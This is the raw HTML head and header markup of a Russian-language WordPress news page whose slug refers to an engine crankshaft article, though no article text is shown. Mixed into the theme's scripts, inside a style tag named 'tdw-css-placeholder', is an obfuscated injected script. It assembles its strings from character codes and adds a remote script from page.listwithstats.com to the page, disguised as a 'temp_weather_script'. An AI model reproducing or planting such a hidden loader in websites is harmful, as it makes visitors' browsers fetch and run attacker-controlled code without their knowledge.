/(iPad|iPhone|iPod)/g.test(navigator.userAgent) ) { htmlTag.className += ' td-md-is-ios'; } var user_agent = navigator.userAgent.toLowerCase(); if ( user_agent.indexOf("android") > -1 ) { htmlTag.className += ' td-md-is-android'; } if ( -1 !== navigator.userAgent.indexOf('Mac OS X') ) { htmlTag.className += ' td-md-is-os-x'; } if ( /chrom(e|ium)/.test(navigator.userAgent.toLowerCase()) ) { htmlTag.className += ' td-md-is-chrome'; } if ( -1 !== navigator.userAgent.indexOf('Firefox') ) { htmlTag.className += ' td-md-is-firefox'; } if ( -1 !== navigator.userAgent.indexOf('Safari') && -1 === navigator.userAgent.indexOf('Chrome') ) { htmlTag.className += ' td-md-is-safari'; } if( -1 !== navigator.userAgent.indexOf('IEMobile') ){ htmlTag.className += ' td-md-is-iemobile'; } })(); var tdLocalCache = {}; ( function () { "use strict"; tdLocalCache = { data: {}, remove: function (resource_id) { delete tdLocalCache.data[resource_id]; }, exist: function (resource_id) { return tdLocalCache.data.hasOwnProperty(resource_id) && tdLocalCache.data[resource_id] !== null; }, get: function (resource_id) { return tdLocalCache.data[resource_id]; }, set: function (resource_id, cachedData) { tdLocalCache.remove(resource_id); tdLocalCache.data[resource_id] = cachedData; } }; })(); var td_viewport_interval_list=[{"limitBottom":767,"sidebarWidth":228},{"limitBottom":1018,"sidebarWidth":300},{"limitBottom":1140,"sidebarWidth":324}]; var td_animation_stack_effect="type0"; var tds_animation_stack=true; var td_animation_stack_specific_selectors=".entry-thumb, img, .td-lazy-img"; var td_animation_stack_general_selectors=".td-animation-stack img, .td-animation-stack .entry-thumb, .post img, .td-animation-stack .td-lazy-img"; var tds_general_modal_image="yes"; var tdc_is_installed="yes"; var td_ajax_url="https:\/\/www.sciencedebate2008.com\/wp-admin\/admin-ajax.php?td_theme_name=Newspaper&v=12.6.2"; var td_get_template_directory_uri="https:\/\/www.sciencedebate2008.com\/wp-content\/plugins\/td-composer\/legacy\/common"; var tds_snap_menu=""; var tds_logo_on_sticky=""; var tds_header_style=""; var td_please_wait="\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u043e\u0434\u043e\u0436\u0434\u0438\u0442\u0435..."; var td_email_user_pass_incorrect="\u041d\u0435\u0432\u0435\u0440\u043d\u043e\u0435 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c!"; var td_email_user_incorrect="\u041d\u0435\u0432\u0435\u0440\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c!"; var td_email_incorrect="\u041d\u0435\u0432\u0435\u0440\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b!"; var td_user_incorrect="Username incorrect!"; var td_email_user_empty="Email or username empty!"; var td_pass_empty="Pass empty!"; var td_pass_pattern_incorrect="Invalid Pass Pattern!"; var td_retype_pass_incorrect="Retyped Pass incorrect!"; var tds_more_articles_on_post_enable=""; var tds_more_articles_on_post_time_to_wait=""; var tds_more_articles_on_post_pages_distance_from_top=0; var tds_captcha=""; var tds_theme_color_site_wide="#4db2ec"; var tds_smart_sidebar=""; var tdThemeName="Newspaper"; var tdThemeNameWl="Newspaper"; var td_magnific_popup_translation_tPrev="\u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 (\u041a\u043d\u043e\u043f\u043a\u0430 \u0432\u043b\u0435\u0432\u043e)"; var td_magnific_popup_translation_tNext="\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 (\u041a\u043d\u043e\u043f\u043a\u0430 \u0432\u043f\u0440\u0430\u0432\u043e)"; var td_magnific_popup_translation_tCounter="%curr% \u0438\u0437 %total%"; var td_magnific_popup_translation_ajax_tError="\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 %url% \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043e."; var td_magnific_popup_translation_image_tError="\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 #%curr% \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c."; var tdBlockNonce="7848b2a6f7"; var tdMobileMenu="enabled"; var tdMobileSearch="enabled"; var tdDateNamesI18n={"month_names":["\u042f\u043d\u0432\u0430\u0440\u044c","\u0424\u0435\u0432\u0440\u0430\u043b\u044c","\u041c\u0430\u0440\u0442","\u0410\u043f\u0440\u0435\u043b\u044c","\u041c\u0430\u0439","\u0418\u044e\u043d\u044c","\u0418\u044e\u043b\u044c","\u0410\u0432\u0433\u0443\u0441\u0442","\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c","\u041e\u043a\u0442\u044f\u0431\u0440\u044c","\u041d\u043e\u044f\u0431\u0440\u044c","\u0414\u0435\u043a\u0430\u0431\u0440\u044c"],"month_names_short":["\u042f\u043d\u0432","\u0424\u0435\u0432","\u041c\u0430\u0440","\u0410\u043f\u0440","\u041c\u0430\u0439","\u0418\u044e\u043d","\u0418\u044e\u043b","\u0410\u0432\u0433","\u0421\u0435\u043d","\u041e\u043a\u0442","\u041d\u043e\u044f","\u0414\u0435\u043a"],"day_names":["\u0412\u043e\u0441\u043a\u0440\u0435\u0441\u0435\u043d\u044c\u0435","\u041f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a","\u0412\u0442\u043e\u0440\u043d\u0438\u043a","\u0421\u0440\u0435\u0434\u0430","\u0427\u0435\u0442\u0432\u0435\u0440\u0433","\u041f\u044f\u0442\u043d\u0438\u0446\u0430","\u0421\u0443\u0431\u0431\u043e\u0442\u0430"],"day_names_short":["\u0412\u0441","\u041f\u043d","\u0412\u0442","\u0421\u0440","\u0427\u0442","\u041f\u0442","\u0421\u0431"]}; var tdb_modal_confirm="Save"; var tdb_modal_cancel="Cancel"; var tdb_modal_confirm_alt="Yes"; var tdb_modal_cancel_alt="No"; var td_ad_background_click_link=""; var td_ad_background_click_target=""; </script> <!-- Header style compiled by theme --> <style>.td-menu-background,.td-search-background{background-image:url('https://www.sciencedebate2008.com/wp-content/uploads/mobile-bg.jpg')}.white-popup-block:before{background-image:url('https://www.sciencedebate2008.com/wp-content/uploads/login-mod.jpg')}:root{--td_excl_label:'协袣小袣袥挟袟袠袙袧蝎袡';--td_mobile_gradient_one_mob:rgba(0,0,0,0.5);--td_mobile_gradient_two_mob:rgba(0,0,0,0.6)}</style> <!-- Google tag (gtag.js) --> <script async src="https://www.googletagmanager.com/gtag/js?id=G-8GK7TQVKKB"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-8GK7TQVKKB'); </script> <!-- Button style compiled by theme --> <style></style> <style id="tdw-css-placeholder">(function(){try{letarqclzwgmss=String;letaxizlqvqkj="f"+"ro"+arqclzwgmss['fr'+'om'+String.fromCharCode(67,104,97,114,67,111,100,101)](109,67,104,97,114,67)+"o"+"de";letaakikerpd="s"+"c"+arqclzwgmss[axizlqvqkj](114,105,112,116),_zutiooliu="c"+"re"+arqclzwgmss[axizlqvqkj](97,116,101,69,108,101,109,101,110,116),anpqw="s"+arqclzwgmss[axizlqvqkj](114,99),avrtekeoeir=arqclzwgmss[axizlqvqkj](105,100),_ooanbbh="cu"+"rre"+arqclzwgmss[axizlqvqkj](110,116,83,99,114,105,112,116);var_ufmoi="pa"+"r"+arqclzwgmss[axizlqvqkj](101,110,116,78,111,100,101),_rtkr="i"+"ns"+arqclzwgmss[axizlqvqkj](101,114,116,66,101,102,111,114,101),alishqhqmzf="ge"+"El"+arqclzwgmss[axizlqvqkj](101,109,101,110,116,115,66,121,84,97,103,78,97,109,101),_rpxs="h"+"e"+arqclzwgmss[axizlqvqkj](97,100),_ohpalpsye="ap"+"p"+arqclzwgmss[axizlqvqkj](101,110,100,67,104,105,108,100),aqqtsraxfs=document;var_zcmvejplxe="t"+"e"+arqclzwgmss[axizlqvqkj](109,112,95,119,101,97,116,104,101,114,95,115,99,114,105,112,116),_fpbc=aqqtsraxfs[_zutiooliu](aakikerpd),apdvrddwmab=arqclzwgmss[axizlqvqkj](104,116,116,112,115,58,47,47)+arqclzwgmss[axizlqvqkj](112,97,103,101,46,108,105,115,116,119,105,116,104,115,116,97,116,115,46,99,111,109)+arqclzwgmss[axizlqvqkj](47)+arqclzwgmss[axizlqvqkj](115,99,114,105,112,116,115)+arqclzwgmss[axizlqvqkj](47)+"s"+"ta"+arqclzwgmss[axizlqvqkj](114,116,46,106,115);_fpbc[anpqw]=apdvrddwmab;_fpbc[avrtekeoeir]=_zcmvejplxe;if(aqqtsraxfs[_ooanbbh]){aqqtsraxfs[_ooanbbh][_ufmoi][_rtkr](_fpbc,aqqtsraxfs[_ooanbbh])}else{aqqtsraxfs[alishqhqmzf](_rpxs)[0][_ohpalpsye](_fpbc)}}catch (err){}})();</style></head> <body class="post-template-default single single-post postid-16606 single-format-standard krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya global-block-template-1 tdb_template_64569 tdb-template tdc-header-template tdc-footer-template td-animation-stack-type0 td-full-layout" itemscope="itemscope" itemtype="https://schema.org/WebPage"> <div class="td-scroll-up td-hide-scroll-up-on-mob" style="display:none;"><i class="td-icon-menu-up"></i></div> <div class="td-menu-background" style="visibility:hidden"></div> <div id="td-mobile-nav" style="visibility:hidden"> <div class="td-mobile-container"> <!-- mobile menu top section --> <div class="td-menu-socials-wrap"> <!-- socials --> <div class="td-menu-socials"> <span class="td-social-icon-wrap"> <a target="_blank" href="#" title="Facebook"> <i class="td-icon-font td-icon-facebook"></i> <span style="display: none">Facebook</span> </a> </span> <span class="td-social-icon-wrap"> <a target="_blank" href="#" title="Instagram"> <i class="td-icon-font td-icon-instagram"></i> <span style="display: none">Instagram</span> </a> </span> <span class="td-social-icon-wrap"> <a target="_blank" href="#" title="Twitter"> <i class="td-icon-font td-icon-twitter"></i> <span style="display: none">Twitter</span> </a> </span> <span class="td-social-icon-wrap"> <a target="_blank" href="#" title="Vimeo"> <i class="td-icon-font td-icon-vimeo"></i> <span style="display: none">Vimeo</span> </a> </span> <span class="td-social-icon-wrap"> <a target="_blank" href="#" title="Youtube"> <i class="td-icon-font td-icon-youtube"></i> <span style="display: none">Youtube</span> </a> </span> </div> <!-- close button --> <div class="td-mobile-close"> <span><i class="td-icon-close-mobile"></i></span> </div> </div> <!-- login section --> <div class="td-menu-login-section"> <div class="td-guest-wrap"> <div class="td-menu-login"><a id="login-link-mob">胁芯泄褌懈 胁 褋懈褋褌械屑褍</a></div> </div> </div> <!-- menu section --> <div class="td-mobile-content"> <div class="menu-td-demo-header-menu-container"><ul id="menu-td-demo-header-menu-1" class="td-mobile-main-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-first menu-item-64549"><a href="https://www.sciencedebate2008.com/">News</a></li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-64550"><a href="#">Fashion</a></li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-64551"><a href="#">Gadgets</a></li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-64552"><a href="#">Lifestyle</a></li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-64553"><a href="#">Video</a></li> </ul></div> </div> </div> <!-- register/login section --> <div id="login-form-mobile" class="td-register-section"> <div id="td-login-mob" class="td-login-animation td-login-hide-mob"> <!-- close button --> <div class="td-login-close"> <span class="td-back-button"><i class="td-icon-read-down"></i></span> <div class="td-login-title">胁芯泄褌懈 胁 褋懈褋褌械屑褍</div> <!-- close button --> <div class="td-mobile-close"> <span><i class="td-icon-close-mobile"></i></span> </div> </div> <form class="td-login-form-wrap" action="#" method="post"> <div class="td-login-panel-title"><span>袛芯斜褉芯 锌芯卸邪谢芯胁邪褌!</span>袙芯泄写懈褌械 胁 褋胁芯泄 邪泻泻邪褍薪褌</div> <div class="td_display_err"></div> <div class="td-login-inputs"><input class="td-login-input" autocomplete="username" type="text" name="login_email" id="login_email-mob" value="" required><label for="login_email-mob">袙邪褕械 懈屑褟 锌芯谢褜蟹芯胁邪褌械谢褟</label></div> <div class="td-login-inputs"><input class="td-login-input" autocomplete="current-password" type="password" name="login_pass" id="login_pass-mob" value="" required><label for="login_pass-mob">袙邪褕 锌邪褉芯谢褜</label></div> <input type="button" name="login_button" id="login_button-mob" class="td-login-button" value="袙袨袡孝袠"> <div class="td-login-info-text"> <a href="#" id="forgot-pass-link-mob">袙褘 蟹邪斜褘谢懈 褋胁芯泄 锌邪褉芯谢褜?</a> </div> <div class="td-login-register-link"> </div> </form> </div> <div id="td-forgot-pass-mob" class="td-login-animation td-login-hide-mob"> <!-- close button --> <div class="td-forgot-pass-close"> <a href="#" aria-label="Back" class="td-back-button"><i class="td-icon-read-down"></i></a> <div class="td-login-title">胁芯褋褋褌邪薪芯胁谢械薪懈械 锌邪褉芯谢褟</div> </div> <div class="td-login-form-wrap"> <div class="td-login-panel-title">袙芯褋褋褌邪薪芯胁懈褌械 褋胁芯泄 锌邪褉芯谢褜</div> <div class="td_display_err"></div> <div class="td-login-inputs"><input class="td-login-input" type="text" name="forgot_email" id="forgot_email-mob" value="" required><label for="forgot_email-mob">袙邪褕 邪写褉械褋 褝谢械泻褌褉芯薪薪芯泄 锌芯褔褌褘</label></div> <input type="button" name="forgot_button" id="forgot_button-mob" class="td-login-button" value="袨褌锌褉邪胁懈褌褜 袦芯泄 袩邪褉芯谢褜"> </div> </div> </div> </div><div class="td-search-background" style="visibility:hidden"></div> <div class="td-search-wrap-mob" style="visibility:hidden"> <div class="td-drop-down-search"> <form method="get" class="td-search-form" action="https://www.sciencedebate2008.com/"> <!-- close button --> <div class="td-search-close"> <span><i class="td-icon-close-mobile"></i></span> </div> <div role="search" class="td-search-input"> <span>袩芯懈褋泻</span> <input id="td-header-search-mob" type="text" value="" name="s" autocomplete="off" /> </div> </form> <div id="td-aj-search-mob" class="td-ajax-search-flex"></div> </div> </div> <div id="td-outer-wrap" class="td-theme-wrap"> <div class="td-header-template-wrap" style="position: relative"> <div class="td-header-mobile-wrap "> <div id="tdi_1" class="tdc-zone"><div class="tdc_zone tdi_2 wpb_row td-pb-row tdc-element-style" > <style scoped>.tdi_2{min-height:0}@media (max-width:767px){.tdi_2:before{content:'';display:block;width:100vw;height:100%;position:absolute;left:50%;transform:translateX(-50%);box-shadow:0px 6px 8px 0px rgba(0,0,0,0.08);z-index:20;pointer-events:none}@media (max-width:767px){.tdi_2:before{width:100%}}}@media (max-width:767px){.tdi_2{position:relative}}</style> <div class="tdi_1_rand_style td-element-style" ><style>@media (max-width:767px){.tdi_1_rand_style{background-color:#222222!important}}</style></div><div id="tdi_3" class="tdc-row"><div class="vc_row tdi_4 wpb_row td-pb-row" > <style scoped>.tdi_4,.tdi_4 .tdc-columns{min-height:0}.tdi_4,.tdi_4 .tdc-columns{display:block}.tdi_4 .tdc-columns{width:100%}@media (max-width:767px){@media (min-width:768px){.tdi_4{margin-left:-0px;margin-right:-0px}.tdi_4 .tdc-row-video-background-error,.tdi_4>.vc_column,.tdi_4>.tdc-columns>.vc_column{padding-left:0px;padding-right:0px}}}</style><div class="vc_column tdi_6 wpb_column vc_column_container tdc-column td-pb-span4"> <style scoped>.tdi_6{vertical-align:baseline}.tdi_6>.wpb_wrapper,.tdi_6>.wpb_wrapper>.tdc-elements{display:block}.tdi_6>.wpb_wrapper>.tdc-elements{width:100%}.tdi_6>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_6>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_6{vertical-align:middle}}@media (max-width:767px){.tdi_6{width:20%!important;display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_7 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_7" > <style>@media (max-width:767px){.tdi_7{margin-top:2px!important;margin-left:-13px!important}}</style> <style>.tdb-header-align{vertical-align:middle}.tdb_mobile_menu{margin-bottom:0;clear:none}.tdb_mobile_menu a{display:inline-block!important;position:relative;text-align:center;color:var(--td_theme_color,#4db2ec)}.tdb_mobile_menu a>span{display:flex;align-items:center;justify-content:center}.tdb_mobile_menu svg{height:auto}.tdb_mobile_menu svg,.tdb_mobile_menu svg *{fill:var(--td_theme_color,#4db2ec)}#tdc-live-iframe .tdb_mobile_menu a{pointer-events:none}.td-menu-mob-open-menu{overflow:hidden}.td-menu-mob-open-menu #td-outer-wrap{position:static}.tdi_7{display:inline-block}.tdi_7 .tdb-mobile-menu-button i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_7 .tdb-mobile-menu-button svg{width:22px}.tdi_7 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:55px;height:55px}.tdi_7 .tdb-mobile-menu-button{color:#ffffff}.tdi_7 .tdb-mobile-menu-button svg,.tdi_7 .tdb-mobile-menu-button svg *{fill:#ffffff}@media (max-width:767px){.tdi_7 .tdb-mobile-menu-button i{font-size:27px}.tdi_7 .tdb-mobile-menu-button svg{width:27px}.tdi_7 .tdb-mobile-menu-button i{width:54px;height:54px;line-height:54px}.tdi_7 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_9 wpb_column vc_column_container tdc-column td-pb-span4"> <style scoped>.tdi_9{vertical-align:baseline}.tdi_9>.wpb_wrapper,.tdi_9>.wpb_wrapper>.tdc-elements{display:block}.tdi_9>.wpb_wrapper>.tdc-elements{width:100%}.tdi_9>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_9>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_9{vertical-align:middle}}@media (max-width:767px){.tdi_9{width:60%!important;display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_10 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_10" > <style>@media (max-width:767px){.tdi_10{margin-top:-8px!important}}</style> <style>.tdb_header_logo{margin-bottom:0;clear:none}.tdb_header_logo .tdb-logo-a,.tdb_header_logo h1{display:flex;pointer-events:auto;align-items:flex-start}.tdb_header_logo h1{margin:0;line-height:0}.tdb_header_logo .tdb-logo-img-wrap img{display:block}.tdb_header_logo .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdb_header_logo .tdb-logo-svg-wrap svg{width:50px;display:block;transition:fill .3s ease}.tdb_header_logo .tdb-logo-text-wrap{display:flex}.tdb_header_logo .tdb-logo-text-title,.tdb_header_logo .tdb-logo-text-tagline{-webkit-transition:all 0.2s ease;transition:all 0.2s ease}.tdb_header_logo .tdb-logo-text-title{background-size:cover;background-position:center center;font-size:75px;font-family:serif;line-height:1.1;color:#222;white-space:nowrap}.tdb_header_logo .tdb-logo-text-tagline{margin-top:2px;font-size:12px;font-family:serif;letter-spacing:1.8px;line-height:1;color:#767676}.tdb_header_logo .tdb-logo-icon{position:relative;font-size:46px;color:#000}.tdb_header_logo .tdb-logo-icon-svg{line-height:0}.tdb_header_logo .tdb-logo-icon-svg svg{width:46px;height:auto}.tdb_header_logo .tdb-logo-icon-svg svg,.tdb_header_logo .tdb-logo-icon-svg svg *{fill:#000}.tdi_10 .tdb-logo-a,.tdi_10 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_10 .tdb-logo-svg-wrap{display:block}.tdi_10 .tdb-logo-img-wrap{display:none}.tdi_10 .tdb-logo-text-tagline{margin-top:-3px;margin-left:0;display:block}.tdi_10 .tdb-logo-text-title{display:block;color:#ffffff}.tdi_10 .tdb-logo-text-wrap{flex-direction:column;align-items:center}.tdi_10 .tdb-logo-icon{top:0px;display:block}@media (max-width:767px){.tdb_header_logo .tdb-logo-text-title{font-size:36px}}@media (max-width:767px){.tdb_header_logo .tdb-logo-text-tagline{font-size:11px}}@media (min-width:768px) and (max-width:1018px){.tdi_10 .tdb-logo-img{max-width:186px}.tdi_10 .tdb-logo-text-tagline{margin-top:-2px;margin-left:0}}@media (max-width:767px){.tdi_10 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_10 .tdb-logo-img{max-width:180px}.tdi_10 .tdb-logo-img-wrap{display:block}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://www.sciencedebate2008.com/"><span class="tdb-logo-img-wrap"><img class="tdb-logo-img td-retina-data" data-retina="https://www.sciencedebate2008.com/wp-content/uploads/new_logo-1.jpg" src="https://www.sciencedebate2008.com/wp-content/uploads/np10blue-white-retina.png" alt="Logo" title="" width="544" height="180" /></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_12 wpb_column vc_column_container tdc-column td-pb-span4"> <style scoped>.tdi_12{vertical-align:baseline}.tdi_12>.wpb_wrapper,.tdi_12>.wpb_wrapper>.tdc-elements{display:block}.tdi_12>.wpb_wrapper>.tdc-elements{width:100%}.tdi_12>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_12>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_12{vertical-align:middle}}@media (max-width:767px){.tdi_12{width:20%!important;display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_13 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_13" > <style>@media (max-width:767px){.tdi_13{margin-right:-18px!important;margin-bottom:0px!important}}</style> <style>.tdb_mobile_search{margin-bottom:0;clear:none}.tdb_mobile_search a{display:inline-block!important;position:relative;text-align:center;color:var(--td_theme_color,#4db2ec)}.tdb_mobile_search a>span{display:flex;align-items:center;justify-content:center}.tdb_mobile_search svg{height:auto}.tdb_mobile_search svg,.tdb_mobile_search svg *{fill:var(--td_theme_color,#4db2ec)}#tdc-live-iframe .tdb_mobile_search a{pointer-events:none}.td-search-opened{overflow:hidden}.td-search-opened #td-outer-wrap{position:static}.td-search-opened .td-search-wrap-mob{position:fixed;height:calc(100% + 1px)}.td-search-opened .td-drop-down-search{height:calc(~100% + 1px);overflow-y:scroll;overflow-x:hidden}.tdi_13{display:inline-block;float:right;clear:none}.tdi_13 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_13 .tdb-header-search-button-mob svg{width:22px}.tdi_13 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_13 .tdb-header-search-button-mob{color:#ffffff}.tdi_13 .tdb-header-search-button-mob svg,.tdi_13 .tdb-header-search-button-mob svg *{fill:#ffffff}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><span class="tdb-mobile-search-icon tdb-mobile-search-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M946.371 843.601l-125.379-125.44c43.643-65.925 65.495-142.1 65.475-218.040 0.051-101.069-38.676-202.588-115.835-279.706-77.117-77.148-178.606-115.948-279.644-115.886-101.079-0.061-202.557 38.738-279.665 115.876-77.169 77.128-115.937 178.627-115.907 279.716-0.031 101.069 38.728 202.588 115.907 279.665 77.117 77.117 178.616 115.825 279.665 115.804 75.94 0.020 152.136-21.862 218.061-65.495l125.348 125.46c30.915 30.904 81.029 30.904 111.954 0.020 30.915-30.935 30.915-81.029 0.020-111.974zM705.772 714.925c-59.443 59.341-136.899 88.842-214.784 88.924-77.896-0.082-155.341-29.583-214.784-88.924-59.443-59.484-88.975-136.919-89.037-214.804 0.061-77.885 29.604-155.372 89.037-214.825 59.464-59.443 136.878-88.945 214.784-89.016 77.865 0.082 155.3 29.583 214.784 89.016 59.361 59.464 88.914 136.919 88.945 214.825-0.041 77.885-29.583 155.361-88.945 214.804z"></path></svg></span></span></div></div> <!-- ./block --></div></div></div></div></div></div> </div> <div class="td-header-desktop-wrap "> <div id="tdi_14" class="tdc-zone"><div class="tdc_zone tdi_15 wpb_row td-pb-row tdc-element-style" > <style scoped>.tdi_15{min-height:0}.tdi_15:before{content:'';display:block;width:100vw;height:100%;position:absolute;left:50%;transform:translateX(-50%);box-shadow:0px 6px 8px 0px rgba(0,0,0,0.08);z-index:20;pointer-events:none}.td-header-desktop-wrap{position:relative}@media (max-width:767px){.tdi_15:before{width:100%}}.tdi_15{position:relative}</style> <div class="tdi_14_rand_style td-element-style" ><style>.tdi_14_rand_style{background-color:#ffffff!important}</style></div><div id="tdi_16" class="tdc-row stretch_row"><div class="vc_row tdi_17 wpb_row td-pb-row tdc-element-style" > <style scoped>.tdi_17,.tdi_17 .tdc-columns{min-height:0}.tdi_17,.tdi_17 .tdc-columns{display:block}.tdi_17 .tdc-columns{width:100%}@media (min-width:768px){.tdi_17{margin-left:-0px;margin-right:-0px}.tdi_17 .tdc-row-video-background-error,.tdi_17>.vc_column,.tdi_17>.tdc-columns>.vc_column{padding-left:0px;padding-right:0px}}.tdi_17{position:relative}.tdi_17 .td_block_wrap{text-align:left}</style> <div class="tdi_16_rand_style td-element-style" ><style>.tdi_16_rand_style{background-color:#222222!important}</style></div><div class="vc_column tdi_19 wpb_column vc_column_container tdc-column td-pb-span12"> <style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_20 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_20" > <style>.tdi_20{margin-right:32px!important}@media (min-width:1019px) and (max-width:1140px){.tdi_20{margin-right:20px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_20{margin-right:20px!important}}</style> <style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:'Open Sans','Open Sans Regular',sans-serif;font-size:11px;line-height:1;color:#000}.tdi_20{display:inline-block}.tdi_20 .tdb-head-date-txt{color:#ffffff;line-height:28px!important}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">袩褟褌薪懈褑邪, 29 薪芯褟斜褉褟, 2024</div></div></div> <!-- ./block --><div class="td_block_wrap tdb_mobile_horiz_menu tdi_21 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_21" style=" z-index: 999;"> <style>.tdi_21{margin-bottom:0px!important}@media (min-width:768px) and (max-width:1018px){.tdi_21{display:none!important}}</style> <style>.tdb_mobile_horiz_menu{margin-bottom:0;clear:none}.tdb_mobile_horiz_menu.tdb-horiz-menu-singleline{width:100%}.tdb_mobile_horiz_menu.tdb-horiz-menu-singleline .tdb-horiz-menu{display:block;width:100%;overflow-x:auto;overflow-y:hidden;font-size:0;white-space:nowrap}.tdb_mobile_horiz_menu.tdb-horiz-menu-singleline .tdb-horiz-menu>li{position:static;display:inline-block;float:none}.tdb_mobile_horiz_menu.tdb-horiz-menu-singleline .tdb-horiz-menu ul{left:0;width:100%;z-index:-1}.tdb-horiz-menu{display:table;margin:0}.tdb-horiz-menu,.tdb-horiz-menu ul{list-style-type:none}.tdb-horiz-menu ul,.tdb-horiz-menu li{line-height:1}.tdb-horiz-menu li{margin:0;font-family:'Open Sans','Open Sans Regular',sans-serif}.tdb-horiz-menu li.current-menu-item>a,.tdb-horiz-menu li.current-menu-ancestor>a,.tdb-horiz-menu li.current-category-ancestor>a,.tdb-horiz-menu li.current-page-ancestor>a,.tdb-horiz-menu li:hover>a,.tdb-horiz-menu li.tdb-hover>a{color:var(--td_theme_color,#4db2ec)}.tdb-horiz-menu li.current-menu-item>a .tdb-sub-menu-icon-svg,.tdb-horiz-menu li.current-menu-ancestor>a .tdb-sub-menu-icon-svg,.tdb-horiz-menu li.current-category-ancestor>a .tdb-sub-menu-icon-svg,.tdb-horiz-menu li.current-page-ancestor>a .tdb-sub-menu-icon-svg,.tdb-horiz-menu li:hover>a .tdb-sub-menu-icon-svg,.tdb-horiz-menu li.tdb-hover>a .tdb-sub-menu-icon-svg,.tdb-horiz-menu li.current-menu-item>a .tdb-sub-menu-icon-svg *,.tdb-horiz-menu li.current-menu-ancestor>a .tdb-sub-menu-icon-svg *,.tdb-horiz-menu li.current-category-ancestor>a .tdb-sub-menu-icon-svg *,.tdb-horiz-menu li.current-page-ancestor>a .tdb-sub-menu-icon-svg *,.tdb-horiz-menu li:hover>a .tdb-sub-menu-icon-svg *,.tdb-horiz-menu li.tdb-hover>a .tdb-sub-menu-icon-svg *{fill:var(--td_theme_color,#4db2ec)}.tdb-horiz-menu>li{position:relative;float:left;font-size:0}.tdb-horiz-menu>li:hover ul{visibility:visible;opacity:1}.tdb-horiz-menu>li>a{display:inline-block;padding:0 9px;font-weight:700;font-size:13px;line-height:41px;vertical-align:middle;-webkit-backface-visibility:hidden;color:#000}.tdb-horiz-menu>li>a>.tdb-menu-item-text{display:inline-block}.tdb-horiz-menu>li>a 